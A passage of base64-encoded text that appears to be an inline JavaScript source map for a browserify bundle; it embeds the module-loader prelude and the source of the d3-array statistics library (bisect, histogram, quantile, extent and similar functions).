QUMsVUFBVSxNQUFmLEVBQXVCLE9BQU8sVUFBUDtBQUN2QixpQkFBYSxDQUFiO0FBQ0EsV0FBTyxNQUFQO0FBQ0QsR0FKRDs7QUFNQSxTQUFPLEVBQVAsR0FBWSxZQUFXO0FBQ3JCLFFBQU0sUUFBUSxpQkFBaUIsRUFBakIsQ0FBb0IsS0FBcEIsQ0FBMEIsZ0JBQTFCLEVBQTRDLFNBQTVDLENBQWQ7QUFDQSxXQUFPLFVBQVUsZ0JBQVYsR0FBNkIsTUFBN0IsR0FBc0MsS0FBN0M7QUFDRCxHQUhEOztBQUtBLFNBQU8sTUFBUDtBQUNEOzs7OztBQzlPRDs7OztBQUNBOzs7O0FBQ0E7Ozs7QUFDQTs7Ozs7O0FBRUEsR0FBRyxXQUFIO0FBQ0EsR0FBRyxVQUFIO0FBQ0EsR0FBRyxZQUFIO0FBQ0EsR0FBRyxhQUFIIiwiZmlsZSI6ImdlbmVyYXRlZC5qcyIsInNvdXJjZVJvb3QiOiIiLCJzb3VyY2VzQ29udGVudCI6WyIoZnVuY3Rpb24gZSh0LG4scil7ZnVuY3Rpb24gcyhvLHUpe2lmKCFuW29dKXtpZighdFtvXSl7dmFyIGE9dHlwZW9mIHJlcXVpcmU9PVwiZnVuY3Rpb25cIiYmcmVxdWlyZTtpZighdSYmYSlyZXR1cm4gYShvLCEwKTtpZihpKXJldHVybiBpKG8sITApO3ZhciBmPW5ldyBFcnJvcihcIkNhbm5vdCBmaW5kIG1vZHVsZSAnXCIrbytcIidcIik7dGhyb3cgZi5jb2RlPVwiTU9EVUxFX05PVF9GT1VORFwiLGZ9dmFyIGw9bltvXT17ZXhwb3J0czp7fX07dFtvXVswXS5jYWxsKGwuZXhwb3J0cyxmdW5jdGlvbihlKXt2YXIgbj10W29dWzFdW2VdO3JldHVybiBzKG4/bjplKX0sbCxsLmV4cG9ydHMsZSx0LG4scil9cmV0dXJuIG5bb10uZXhwb3J0c312YXIgaT10eXBlb2YgcmVxdWlyZT09XCJmdW5jdGlvblwiJiZyZXF1aXJlO2Zvcih2YXIgbz0wO288ci5sZW5ndGg7bysrKXMocltvXSk7cmV0dXJuIHN9KSIsIi8vIGh0dHBzOi8vZDNqcy5vcmcvZDMtYXJyYXkvIFZlcnNpb24gMS4wLjEuIENvcHlyaWdodCAyMDE2IE1pa2UgQm9zdG9jay5cbihmdW5jdGlvbiAoZ2xvYmFsLCBmYWN0b3J5KSB7XG4gIHR5cGVvZiBleHBvcnRzID09PSAnb2JqZWN0JyAmJiB0eXBlb2YgbW9kdWxlICE9PSAndW5kZWZpbmVkJyA/IGZhY3RvcnkoZXhwb3J0cykgOlxuICB0eXBlb2YgZGVmaW5lID09PSAnZnVuY3Rpb24nICYmIGRlZmluZS5hbWQgPyBkZWZpbmUoWydleHBvcnRzJ10sIGZhY3RvcnkpIDpcbiAgKGZhY3RvcnkoKGdsb2JhbC5kMyA9IGdsb2JhbC5kMyB8fCB7fSkpKTtcbn0odGhpcywgZnVuY3Rpb24gKGV4cG9ydHMpIHsgJ3VzZSBzdHJpY3QnO1xuXG4gIGZ1bmN0aW9uIGFzY2VuZGluZyhhLCBiKSB7XG4gICAgcmV0dXJuIGEgPCBiID8gLTEgOiBhID4gYiA/IDEgOiBhID49IGIgPyAwIDogTmFOO1xuICB9XG5cbiAgZnVuY3Rpb24gYmlzZWN0b3IoY29tcGFyZSkge1xuICAgIGlmIChjb21wYXJlLmxlbmd0aCA9PT0gMSkgY29tcGFyZSA9IGFzY2VuZGluZ0NvbXBhcmF0b3IoY29tcGFyZSk7XG4gICAgcmV0dXJuIHtcbiAgICAgIGxlZnQ6IGZ1bmN0aW9uKGEsIHgsIGxvLCBoaSkge1xuICAgICAgICBpZiAobG8gPT0gbnVsbCkgbG8gPSAwO1xuICAgICAgICBpZiAoaGkgPT0gbnVsbCkgaGkgPSBhLmxlbmd0aDtcbiAgICAgICAgd2hpbGUgKGxvIDwgaGkpIHtcbiAgICAgICAgICB2YXIgbWlkID0gbG8gKyBoaSA+Pj4gMTtcbiAgICAgICAgICBpZiAoY29tcGFyZShhW21pZF0sIHgpIDwgMCkgbG8gPSBtaWQgKyAxO1xuICAgICAgICAgIGVsc2UgaGkgPSBtaWQ7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGxvO1xuICAgICAgfSxcbiAgICAgIHJpZ2h0OiBmdW5jdGlvbihhLCB4LCBsbywgaGkpIHtcbiAgICAgICAgaWYgKGxvID09IG51bGwpIGxvID0gMDtcbiAgICAgICAgaWYgKGhpID09IG51bGwpIGhpID0gYS5sZW5ndGg7XG4gICAgICAgIHdoaWxlIChsbyA8IGhpKSB7XG4gICAgICAgICAgdmFyIG1pZCA9IGxvICsgaGkgPj4+IDE7XG4gICAgICAgICAgaWYgKGNvbXBhcmUoYVttaWRdLCB4KSA+IDApIGhpID0gbWlkO1xuICAgICAgICAgIGVsc2UgbG8gPSBtaWQgKyAxO1xuICAgICAgICB9XG4gICAgICAgIHJldHVybiBsbztcbiAgICAgIH1cbiAgICB9O1xuICB9XG5cbiAgZnVuY3Rpb24gYXNjZW5kaW5nQ29tcGFyYXRvcihmKSB7XG4gICAgcmV0dXJuIGZ1bmN0aW9uKGQsIHgpIHtcbiAgICAgIHJldHVybiBhc2NlbmRpbmcoZihkKSwgeCk7XG4gICAgfTtcbiAgfVxuXG4gIHZhciBhc2NlbmRpbmdCaXNlY3QgPSBiaXNlY3Rvcihhc2NlbmRpbmcpO1xuICB2YXIgYmlzZWN0UmlnaHQgPSBhc2NlbmRpbmdCaXNlY3QucmlnaHQ7XG4gIHZhciBiaXNlY3RMZWZ0ID0gYXNjZW5kaW5nQmlzZWN0LmxlZnQ7XG5cbiAgZnVuY3Rpb24gZGVzY2VuZGluZyhhLCBiKSB7XG4gICAgcmV0dXJuIGIgPCBhID8gLTEgOiBiID4gYSA/IDEgOiBiID49IGEgPyAwIDogTmFOO1xuICB9XG5cbiAgZnVuY3Rpb24gbnVtYmVyKHgpIHtcbiAgICByZXR1cm4geCA9PT0gbnVsbCA/IE5hTiA6ICt4O1xuICB9XG5cbiAgZnVuY3Rpb24gdmFyaWFuY2UoYXJyYXksIGYpIHtcbiAgICB2YXIgbiA9IGFycmF5Lmxlbmd0aCxcbiAgICAgICAgbSA9IDAsXG4gICAgICAgIGEsXG4gICAgICAgIGQsXG4gICAgICAgIHMgPSAwLFxuICAgICAgICBpID0gLTEsXG4gICAgICAgIGogPSAwO1xuXG4gICAgaWYgKGYgPT0gbnVsbCkge1xuICAgICAgd2hpbGUgKCsraSA8IG4pIHtcbiAgICAgICAgaWYgKCFpc05hTihhID0gbnVtYmVyKGFycmF5W2ldKSkpIHtcbiAgICAgICAgICBkID0gYSAtIG07XG4gICAgICAgICAgbSArPSBkIC8gKytqO1xuICAgICAgICAgIHMgKz0gZCAqIChhIC0gbSk7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG5cbiAgICBlbHNlIHtcbiAgICAgIHdoaWxlICgrK2kgPCBuKSB7XG4gICAgICAgIGlmICghaXNOYU4oYSA9IG51bWJlcihmKGFycmF5W2ldLCBpLCBhcnJheSkpKSkge1xuICAgICAgICAgIGQgPSBhIC0gbTtcbiAgICAgICAgICBtICs9IGQgLyArK2o7XG4gICAgICAgICAgcyArPSBkICogKGEgLSBtKTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cblxuICAgIGlmIChqID4gMSkgcmV0dXJuIHMgLyAoaiAtIDEpO1xuICB9XG5cbiAgZnVuY3Rpb24gZGV2aWF0aW9uKGFycmF5LCBmKSB7XG4gICAgdmFyIHYgPSB2YXJpYW5jZShhcnJheSwgZik7XG4gICAgcmV0dXJuIHYgPyBNYXRoLnNxcnQodikgOiB2O1xuICB9XG5cbiAgZnVuY3Rpb24gZXh0ZW50KGFycmF5LCBmKSB7XG4gICAgdmFyIGkgPSAtMSxcbiAgICAgICAgbiA9IGFycmF5Lmxlbmd0aCxcbiAgICAgICAgYSxcbiAgICAgICAgYixcbiAgICAgICAgYztcblxuICAgIGlmIChmID09IG51bGwpIHtcbiAgICAgIHdoaWxlICgrK2kgPCBuKSBpZiAoKGIgPSBhcnJheVtpXSkgIT0gbnVsbCAmJiBiID49IGIpIHsgYSA9IGMgPSBiOyBicmVhazsgfVxuICAgICAgd2hpbGUgKCsraSA8IG4pIGlmICgoYiA9IGFycmF5W2ldKSAhPSBudWxsKSB7XG4gICAgICAgIGlmIChhID4gYikgYSA9IGI7XG4gICAgICAgIGlmIChjIDwgYikgYyA9IGI7XG4gICAgICB9XG4gICAgfVxuXG4gICAgZWxzZSB7XG4gICAgICB3aGlsZSAoKytpIDwgbikgaWYgKChiID0gZihhcnJheVtpXSwgaSwgYXJyYXkpKSAhPSBudWxsICYmIGIgPj0gYikgeyBhID0gYyA9IGI7IGJyZWFrOyB9XG4gICAgICB3aGlsZSAoKytpIDwgbikgaWYgKChiID0gZihhcnJheVtpXSwgaSwgYXJyYXkpKSAhPSBudWxsKSB7XG4gICAgICAgIGlmIChhID4gYikgYSA9IGI7XG4gICAgICAgIGlmIChjIDwgYikgYyA9IGI7XG4gICAgICB9XG4gICAgfVxuXG4gICAgcmV0dXJuIFthLCBjXTtcbiAgfVxuXG4gIHZhciBhcnJheSA9IEFycmF5LnByb3RvdHlwZTtcblxuICB2YXIgc2xpY2UgPSBhcnJheS5zbGljZTtcbiAgdmFyIG1hcCA9IGFycmF5Lm1hcDtcblxuICBmdW5jdGlvbiBjb25zdGFudCh4KSB7XG4gICAgcmV0dXJuIGZ1bmN0aW9uKCkge1xuICAgICAgcmV0dXJuIHg7XG4gICAgfTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGlkZW50aXR5KHgpIHtcbiAgICByZXR1cm4geDtcbiAgfVxuXG4gIGZ1bmN0aW9uIHJhbmdlKHN0YXJ0LCBzdG9wLCBzdGVwKSB7XG4gICAgc3RhcnQgPSArc3RhcnQsIHN0b3AgPSArc3RvcCwgc3RlcCA9IChuID0gYXJndW1lbnRzLmxlbmd0aCkgPCAyID8gKHN0b3AgPSBzdGFydCwgc3RhcnQgPSAwLCAxKSA6IG4gPCAzID8gMSA6ICtzdGVwO1xuXG4gICAgdmFyIGkgPSAtMSxcbiAgICAgICAgbiA9IE1hdGgubWF4KDAsIE1hdGguY2VpbCgoc3RvcCAtIHN0YXJ0KSAvIHN0ZXApKSB8IDAsXG4gICAgICAgIHJhbmdlID0gbmV3IEFycmF5KG4pO1xuXG4gICAgd2hpbGUgKCsraSA8IG4pIHtcbiAgICAgIHJhbmdlW2ldID0gc3RhcnQgKyBpICogc3RlcDtcbiAgICB9XG5cbiAgICByZXR1cm4gcmFuZ2U7XG4gIH1cblxuICB2YXIgZTEwID0gTWF0aC5zcXJ0KDUwKTtcbiAgdmFyIGU1ID0gTWF0aC5zcXJ0KDEwKTtcbiAgdmFyIGUyID0gTWF0aC5zcXJ0KDIpO1xuICBmdW5jdGlvbiB0aWNrcyhzdGFydCwgc3RvcCwgY291bnQpIHtcbiAgICB2YXIgc3RlcCA9IHRpY2tTdGVwKHN0YXJ0LCBzdG9wLCBjb3VudCk7XG4gICAgcmV0dXJuIHJhbmdlKFxuICAgICAgTWF0aC5jZWlsKHN0YXJ0IC8gc3RlcCkgKiBzdGVwLFxuICAgICAgTWF0aC5mbG9vcihzdG9wIC8gc3RlcCkgKiBzdGVwICsgc3RlcCAvIDIsIC8vIGluY2x1c2l2ZVxuICAgICAgc3RlcFxuICAgICk7XG4gIH1cblxuICBmdW5jdGlvbiB0aWNrU3RlcChzdGFydCwgc3RvcCwgY291bnQpIHtcbiAgICB2YXIgc3RlcDAgPSBNYXRoLmFicyhzdG9wIC0gc3RhcnQpIC8gTWF0aC5tYXgoMCwgY291bnQpLFxuICAgICAgICBzdGVwMSA9IE1hdGgucG93KDEwLCBNYXRoLmZsb29yKE1hdGgubG9nKHN0ZXAwKSAvIE1hdGguTE4xMCkpLFxuICAgICAgICBlcnJvciA9IHN0ZXAwIC8gc3RlcDE7XG4gICAgaWYgKGVycm9yID49IGUxMCkgc3RlcDEgKj0gMTA7XG4gICAgZWxzZSBpZiAoZXJyb3IgPj0gZTUpIHN0ZXAxICo9IDU7XG4gICAgZWxzZSBpZiAoZXJyb3IgPj0gZTIpIHN0ZXAxICo9IDI7XG4gICAgcmV0dXJuIHN0b3AgPCBzdGFydCA/IC1zdGVwMSA6IHN0ZXAxO1xuICB9XG5cbiAgZnVuY3Rpb24gc3R1cmdlcyh2YWx1ZXMpIHtcbiAgICByZXR1cm4gTWF0aC5jZWlsKE1hdGgubG9nKHZhbHVlcy5sZW5ndGgpIC8gTWF0aC5MTjIpICsgMTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGhpc3RvZ3JhbSgpIHtcbiAgICB2YXIgdmFsdWUgPSBpZGVudGl0eSxcbiAgICAgICAgZG9tYWluID0gZXh0ZW50LFxuICAgICAgICB0aHJlc2hvbGQgPSBzdHVyZ2VzO1xuXG4gICAgZnVuY3Rpb24gaGlzdG9ncmFtKGRhdGEpIHtcbiAgICAgIHZhciBpLFxuICAgICAgICAgIG4gPSBkYXRhLmxlbmd0aCxcbiAgICAgICAgICB4LFxuICAgICAgICAgIHZhbHVlcyA9IG5ldyBBcnJheShuKTtcblxuICAgICAgZm9yIChpID0gMDsgaSA8IG47ICsraSkge1xuICAgICAgICB2YWx1ZXNbaV0gPSB2YWx1ZShkYXRhW2ldLCBpLCBkYXRhKTtcbiAgICAgIH1cblxuICAgICAgdmFyIHh6ID0gZG9tYWluKHZhbHVlcyksXG4gICAgICAgICAgeDAgPSB4elswXSxcbiAgICAgICAgICB4MSA9IHh6WzFdLFxuICAgICAgICAgIHR6ID0gdGhyZXNob2xkKHZhbHVlcywgeDAsIHgxKTtcblxuICAgICAgLy8gQ29udmVydCBudW1iZXIgb2YgdGhyZXNob2xkcyBpbnRvIHVuaWZvcm0gdGhyZXNob2xkcy5cbiAgICAgIGlmICghQXJyYXkuaXNBcnJheSh0eikpIHR6ID0gdGlja3MoeDAsIHgxLCB0eik7XG5cbiAgICAgIC8vIFJlbW92ZSBhbnkgdGhyZXNob2xkcyBvdXRzaWRlIHRoZSBkb21haW4uXG4gICAgICB2YXIgbSA9IHR6Lmxlbmd0aDtcbiAgICAgIHdoaWxlICh0elswXSA8PSB4MCkgdHouc2hpZnQoKSwgLS1tO1xuICAgICAgd2hpbGUgKHR6W20gLSAxXSA+PSB4MSkgdHoucG9wKCksIC0tbTtcblxuICAgICAgdmFyIGJpbnMgPSBuZXcgQXJyYXkobSArIDEpLFxuICAgICAgICAgIGJpbjtcblxuICAgICAgLy8gSW5pdGlhbGl6ZSBiaW5zLlxuICAgICAgZm9yIChpID0gMDsgaSA8PSBtOyArK2kpIHtcbiAgICAgICAgYmluID0gYmluc1tpXSA9IFtdO1xuICAgICAgICBiaW4ueDAgPSBpID4gMCA/IHR6W2kgLSAxXSA6IHgwO1xuICAgICAgICBiaW4ueDEgPSBpIDwgbSA/IHR6W2ldIDogeDE7XG4gICAgICB9XG5cbiAgICAgIC8vIEFzc2lnbiBkYXRhIHRvIGJpbnMgYnkgdmFsdWUsIGlnbm9yaW5nIGFueSBvdXRzaWRlIHRoZSBkb21haW4uXG4gICAgICBmb3IgKGkgPSAwOyBpIDwgbjsgKytpKSB7XG4gICAgICAgIHggPSB2YWx1ZXNbaV07XG4gICAgICAgIGlmICh4MCA8PSB4ICYmIHggPD0geDEpIHtcbiAgICAgICAgICBiaW5zW2Jpc2VjdFJpZ2h0KHR6LCB4LCAwLCBtKV0ucHVzaChkYXRhW2ldKTtcbiAgICAgICAgfVxuICAgICAgfVxuXG4gICAgICByZXR1cm4gYmlucztcbiAgICB9XG5cbiAgICBoaXN0b2dyYW0udmFsdWUgPSBmdW5jdGlvbihfKSB7XG4gICAgICByZXR1cm4gYXJndW1lbnRzLmxlbmd0aCA/ICh2YWx1ZSA9IHR5cGVvZiBfID09PSBcImZ1bmN0aW9uXCIgPyBfIDogY29uc3RhbnQoXyksIGhpc3RvZ3JhbSkgOiB2YWx1ZTtcbiAgICB9O1xuXG4gICAgaGlzdG9ncmFtLmRvbWFpbiA9IGZ1bmN0aW9uKF8pIHtcbiAgICAgIHJldHVybiBhcmd1bWVudHMubGVuZ3RoID8gKGRvbWFpbiA9IHR5cGVvZiBfID09PSBcImZ1bmN0aW9uXCIgPyBfIDogY29uc3RhbnQoW19bMF0sIF9bMV1dKSwgaGlzdG9ncmFtKSA6IGRvbWFpbjtcbiAgICB9O1xuXG4gICAgaGlzdG9ncmFtLnRocmVzaG9sZHMgPSBmdW5jdGlvbihfKSB7XG4gICAgICByZXR1cm4gYXJndW1lbnRzLmxlbmd0aCA/ICh0aHJlc2hvbGQgPSB0eXBlb2YgXyA9PT0gXCJmdW5jdGlvblwiID8gXyA6IEFycmF5LmlzQXJyYXkoXykgPyBjb25zdGFudChzbGljZS5jYWxsKF8pKSA6IGNvbnN0YW50KF8pLCBoaXN0b2dyYW0pIDogdGhyZXNob2xkO1xuICAgIH07XG5cbiAgICByZXR1cm4gaGlzdG9ncmFtO1xuICB9XG5cbiAgZnVuY3Rpb24gcXVhbnRpbGUoYXJyYXksIHAsIGYpIHtcbiAgICBpZiAoZiA9PSBudWxsKSBmID0gbnVtYmVyO1xuICAgIGlmICghKG4gPSBhcnJheS5sZW5ndGgpKSByZXR1cm47XG4gICAgaWYgKChwID0gK3ApIDw9IDAgfHwgbiA8IDIpIHJldHVybiArZihhcnJheVswXSwgMCwgYXJyYXkpO1xuICAgIGlmIChwID49IDEpIHJldHVybiArZihhcnJheVtuIC0gMV0sIG4gLSAxLCBhcnJheSk7XG4gICAgdmFyIG4sXG4gICAgICAgIGggPSAobiAtIDEpICogcCxcbiAgICAgICAgaSA9IE1hdGguZmxvb3IoaCksXG4gICAgICAgIGEgPSArZihhcnJheVtpXSwgaSwgYXJyYXkpLFxuICAgICAgICBiID0gK2YoYXJyYXlbaSArIDFdLCBpICsgMSwgYXJyYXkpO1xuICAgIHJldHVybiBhICsgKGIgLSBhKSAqIChoIC0gaSk7XG4gIH1cblxuICBmdW5jdGlvbiBmcmVlZG1hbkRpYWNvbmlzKHZhbHVlcywgbWluLCBtYXgpIHtcbiAgICB2YWx1ZXMgPSBtYXAuY2FsbCh2YWx1ZXMsIG51bWJlcikuc29ydChhc2NlbmRpbmcpO1xuICAgIHJldHVybiBNYXRoLmNlaWwoKG1heCAtIG1pbikgLyAoMiAqIChxdWFudGlsZSh2YWx1ZXMsIDAuNzUpIC0gcXVhbnRpbGUodmFsdWVzLCAwLjI1KSkgKiBNYXRoLnBvdyh2YWx1ZXMubGVuZ3RoLCAtMSAvIDMpKSk7XG4gIH1cblxuICBmdW5jdGlvbiBzY290dCh2YWx1ZXMsIG1pbiwgbWF4KSB7XG4gICAgcmV0dXJuIE1hdGguY2VpbCgobWF4IC0gbWluKSAvICgzLjUgKiBkZXZpYXRpb24odmFsdWVzKSAqIE1hdGgucG93KHZhbHVlcy5sZW5ndGgsIC0xIC8gMykpKTtcbiAgfVxuXG4gIGZ1bmN0aW9uIG1heChhcnJheSwgZikge1xuICAgIHZhciBpID0gLTEsXG4gICAgICAgIG4gPSBhcnJheS5sZW5ndGgsXG4gICAgICAgIGEsXG4gICAgICAgIGI7XG5cbiAgICBpZiAoZiA9PSBudWxsKSB7XG4gICAgICB3aGlsZSAoKytpIDwgbikgaWYgKChiID0gYXJyYXlbaV0pICE9IG51bGwgJiYgYiA+PSBiKSB7IGEgPSBiOyBicmVhazsgfVxuICAgICAgd2hpbGUgKCsraSA8IG4pIGlmICgoYiA9IGFycmF5W2ldKSAhPSBudWxsICYmIGIgPiBhKSBhID0gYjtcbiAgICB9XG5cbiAgICBlbHNlIHtcbiAgICAgIHdoaWxlICgrK2kgPCBuKSBpZiAoKGIgPSBmKGFycmF5W2ldLCBpLCBhcnJheSkpICE9IG51bGwgJiYgYiA+PSBiKSB7IGEgPSBiOyBicmVhazsgfVxuICAgICAgd2hpbGUgKCsraSA8IG4pIGlmICgoYiA9IGYoYXJyYXlbaV0sIGksIGFycmF5KSkgIT0gbnVsbCAmJiBiID4gYSkgYSA9IGI7XG4gICAgfVxuXG4gICAgcmV0dXJuIGE7XG4gIH1cblxuICBmdW5jdGlvbiBtZWFuKGFycmF5LCBmKSB7XG4gICAgdmFyIHMgPSAwLFxuICAgICAgICBuID0gYXJyYXkubGVuZ3RoLFxuICAgICAgICBhLFxuICAgICAgICBpID0gLTEsXG4gICAgICAgIGogPSBuO1xuXG4gICAgaWYgKGYgPT0gbnVsbCkge1xuICAgICAgd2hpbGUgKCsraSA8IG4pIGlmICghaXNOYU4oYSA9IG51bWJlcihhcnJheVtpXSkpKSBzICs9IGE7IGVsc2UgLS1qO1xuICAgIH1cblxuICAgIGVsc2Uge1xuICAgICAgd2hpbGUgKCsraSA8IG4pIGlmICghaXNOYU4oYSA9IG51bWJlcihmKGFycmF5W2ldLCBpLCBhcnJheSkpKSkgcyArPSBhOyBlbHNlIC0tajtcbiAgICB9XG5cbiAgICBpZiAoaikgcmV0dXJuIHMgLyBqO1xuICB9XG5cbiAgZnVuY3Rpb24gbWVkaWFuKGFycmF5LCBmKSB7XG4gICAgdmFyIG51bWJlcnMgPSBbXSxcbiAgICAgICAgbiA9IGFycmF5Lmxlbmd0aCxcbiAgICAgICAgYSxcbiAgICAgICAgaSA9IC0xO1xuXG4gICAgaWYgKGYgPT0gbnVsbCkge1xuICAgICAgd2hpbGUgKCsraSA8IG4pIGlmICghaXNOYU4oYSA9IG51bWJlcihhcnJheVtpXSkpKSBudW1iZXJzLnB1c2goYSk7XG4gICAgfVxuXG4gICAgZWxzZSB7XG4gICAgICB3aGlsZSAoKytpIDwgbikgaWYgKCFpc05hTihhID0gbnVtYmVyKGYoYXJyYXlbaV0sIGksIGFycmF5KSkpKSBudW1iZXJzLnB1c2goYSk7XG4gICAgfVxuXG4gICAgcmV0dXJuIHF1YW50aWxlKG51bWJlcnMuc29ydChhc2NlbmRpbmcpLCAwLjUpO1xuICB9XG5cbiAgZnVuY3Rpb24gbWVyZ2UoYXJyYXlzKSB7XG4gICAgdmFyIG4gPSBhcnJheXMubGVuZ3RoLFxuICAgICAgICBtLFxuICAgICAgICBpID0gLTEsXG4gICAgICAgIGogPSAwLFxuICAgICAgICBtZXJnZWQsXG4gICAgICAgIGFycmF5O1xuXG4gICAgd2hpbGUgKCsraSA8IG4pIGogKz0gYXJyYXlzW2ldLmxlbmd0aDtcbiAgICBtZXJnZWQgPSBuZXcgQXJyYXkoaik7XG5cbiAgICB3aGlsZSAoLS1uID49IDApIHtcbiAgICAgIGFycmF5ID0gYXJyYXlzW25dO1xuICAgICAgbSA9IGFycmF5Lmxlbmd0aDtcbiAgICAgIHdoaWxlICgtLW0gPj0gMCkge1xuICAgICAgICBtZXJnZWRbLS1qXSA9IGFycmF5W21dO1xuICAgICAgfVxuICAgIH1cblxuICAgIHJldHVybiBtZXJnZWQ7XG4gIH1cblxuICBmdW5jdGlvbiBtaW4oYXJyYXksIGYpIHtcbiAgICB2YXIgaSA9IC0xLFxuICAgICAgICBuID0gYXJyYXkubGVuZ3RoLFxuICAgICAgICBhLFxuICAgICAgICBiO1xuXG4gICAgaWYgKGYgPT0gbnVsbCkge1xuICAgICAgd2hpbGUgKCsraSA8IG4pIGlmICgoYiA9IGFycmF5W2ldKSAhPSBudWxsICYmIGIgPj0gYikgeyBhID0gYjsgYnJlYWs7IH1cbiAgICAgIHdoaWxlICgrK2kgPCBuKSBpZiAoKGIgPSBhcnJheVtpXSkgIT0gbnVsbCAmJiBhID4gYikgYSA9IGI7XG4gICAgfVxuXG4gICAgZWxzZSB7XG4gICAgICB3aGlsZSAoKytpIDwgbikgaWYgKChiID0gZihhcnJheVtpXSwgaSwgYXJyYXkpKSAhPSBudWxsICYmIGIgPj0gYikgeyBhID0gYjsgYnJlYWs7IH1cbiAgICAgIHdoaWxlICgrK2kgPCBuKSBpZiAoKGIgPSBmKGFycmF5W2ldLCBpLCBhcnJheSkpICE9IG51bGwgJiYgYSA+IGIpIGEgPSBiO1xuICAgIH1cblxuICAgIHJldHVybiBhO1xuICB9XG5cbiAgZnVuY3Rpb24gcGFpcnMoYXJyYXkpIHtcbiAgICB2YXIgaSA9IDAsIG4gPSBhcnJheS5sZW5ndGggLSAxLCBwID0gYXJyYXlbMF0sIHBhaXJzID0gbmV3IEFycmF5KG4gPCAwID8gMCA6IG4pO1xuICAgIHdoaWxlIChpIDwgbikgcGFpcnNbaV0gPSBbcCwgcCA9IGFycmF5WysraV1dO1xuICAgIHJldHVybiBwYWlycztcbiAgfVxuXG4gIGZ1bmN0aW9uIHBlcm11dGUoYXJyYXksIGluZGV4ZXMpIHtcbiAgICB2YXIgaSA9IGluZGV4ZXMubGVuZ3RoLCBwZXJtdXRlcyA9IG5ldyBBcnJheShpKTtcbiAgICB3aGlsZSAoaS0tKSBwZXJtdXRlc1tpXSA9IGFycmF5W2luZGV4ZXNbaV1dO1xuICAgIHJldHVybiBwZXJtdXRlcztcbiAgfVxuXG4gIGZ1bmN0aW9uIHNjYW4oYXJyYXksIGNvbXBhcmUpIHtcbiAgICBpZiAoIShuID0gYXJyYXkubGVuZ3RoKSkgcmV0dXJuO1xuICAgIHZhciBpID0gMCxcbiAgICAgICAgbixcbiAgICAgICAgaiA9IDAsXG4gICAgICAgIHhpLFxuICAgICAgICB4aiA9IGFycmF5W2pdO1xuXG4gICAgaWYgKCFjb21wYXJlKSBjb21wYXJlID0gYXNjZW5kaW5nO1xuXG4gICAgd2hpbGUgKCsraSA8IG4pIGlmIChjb21wYXJlKHhpID0gYXJyYXlbaV0sIHhqKSA8IDAgfHwgY29tcGFyZSh4aiwgeGopICE9PSAwKSB4aiA9IHhpLCBqID0gaTtcblxuICAgIGlmIChjb21wYXJlKHhqLCB4aikgPT09IDApIHJldHVybiBqO1xuICB9XG5cbiAgZnVuY3Rpb24gc2h1ZmZsZShhcnJheSwgaTAsIGkxKSB7XG4gICAgdmFyIG0gPSAoaTEgPT0gbnVsbCA/IGFycmF5Lmxlbmd0aCA6IGkxKSAtIChpMCA9IGkwID09IG51bGwgPyAwIDogK2kwKSxcbiAgICAgICAgdCxcbiAgICAgICAgaTtcblxuICAgIHdoaWxlIChtKSB7XG4gICAgICBpID0gTWF0aC5yYW5kb20oKSAqIG0tLSB8IDA7XG4gICAgICB0ID0gYXJyYXlbbSArIGkwXTtcbiAgICAgIGFycmF5W20gKyBpMF0gPSBhcnJheVtpICsgaTBdO1xuICAgICAgYXJyYXlbaSArIGkwXSA9IHQ7XG4gICAgfVxuXG4gICAgcmV0dXJuIGFycmF5O1xuICB9XG5cbiAgZnVuY3Rpb24gc3VtKGFycmF5LCBmKSB7XG4gICAgdmFyIHMgPSAwLFxuICAgICAgICBuID0gYXJyYXkubGVuZ3RoLFxuICAgICAgICBhLFxuICAgICAgICBpID0gLTE7XG5cbiAgICBpZiAoZiA9PSBudWxsKSB7XG4gICAgICB3aGlsZSAoKytpIDwgbikgaWYgKGEgPSArYXJyYXlbaV0pIHMgKz0gYTsgLy8gTm90ZTogemVybyBhbmQgbnVsbCBhcmUgZXF1aXZhbGVudC5cbiAgICB9XG5cbiAgICBlbHNlIHtcbiAgICAgIHdoaWxlICgrK2kgPCBuKSBpZiAoYSA9ICtmKGFycmF5W2ldLCBpLCBhcnJheSkpIHMgKz0gYTtcbiAgICB9XG5cbiAgICByZXR1cm4gcztcbiAgfVxuXG4gIGZ1bmN0aW9uIHRyYW5zcG9zZShtYXRyaXgpIHtcbiAgICBpZiAoIShuID0gbWF0cml4Lmxlbmd0aCkpIHJldHVybiBbXTtcbiAgICBmb3IgKHZhciBpID0gLTEsIG0gPSBtaW4obWF0cml4LCBsZW5ndGgpLCB0cmFuc3Bvc2UgPSBuZXcgQXJyYXkobSk7ICsraSA8IG07KSB7XG4gICAgICBmb3IgKHZhciBqID0gLTEsIG4sIHJvdyA9IHRyYW5zcG9zZVtpXSA9IG5ldyBBcnJheShuKTsgKytqIDwgbjspIHtcbiAgICAgICAgcm93W2pdID0gbWF0cml4W2pdW2ldO1xuICAgICAgfVxuICAgIH1cbiAgICByZXR1cm4gdHJhbnNwb3NlO1xuICB9XG5cbiAgZnVuY3Rpb24gbGVuZ3RoKGQpIHtcbiAgICByZXR1cm4gZC5sZW5ndGg7XG4gIH1cblxuICBmdW5jdGlvbiB6aXAoKSB7XG4gICAgcmV0dXJuIHRyYW5zcG9zZShhcmd1bWVudHMpO1xuICB9XG5cbiAgZXhwb3J0cy5iaXNlY3QgPSBiaXNlY3RSaWdodDtcbiAgZXhwb3J0cy5iaXNlY3RSaWdodCA9IGJpc2VjdFJpZ2h0O1xuICBleHBvcnRzLmJpc2VjdExlZnQgPSBiaXNlY3RMZWZ0O1xuICBleHBvcnRzLmFzY2VuZGluZyA9IGFzY2VuZGluZztcbiAgZXhwb3J0cy5iaXNlY3RvciA9IGJpc2VjdG9yO1xuICBleHBvcnRzLmRlc2NlbmRpbmcgPSBkZXNjZW5kaW5nO1xuICBleHBvcnRzLmRldmlhdGlvbiA9IGRldmlhdGlvbjtcbiAgZXhwb3J0cy5leHRlbnQgPSBleHRlbnQ7XG4gIGV4cG9ydHMuaGlzdG9ncmFtID0gaGlzdG9ncmFtO1xuICBleHBvcnRzLnRocmVzaG9sZEZyZWVkbWFuRGlhY29uaXMgPSBmcmVlZG1hbkRpYWNvbmlzO1xuICBleHBvcnRzLnRocmVzaG9sZFNjb3R0ID0gc2NvdHQ7XG4gIGV4cG9ydHMudGhyZXNob2xkU3R1cmdlcyA9IHN0dXJnZXM7XG4gIGV4cG9ydHMubWF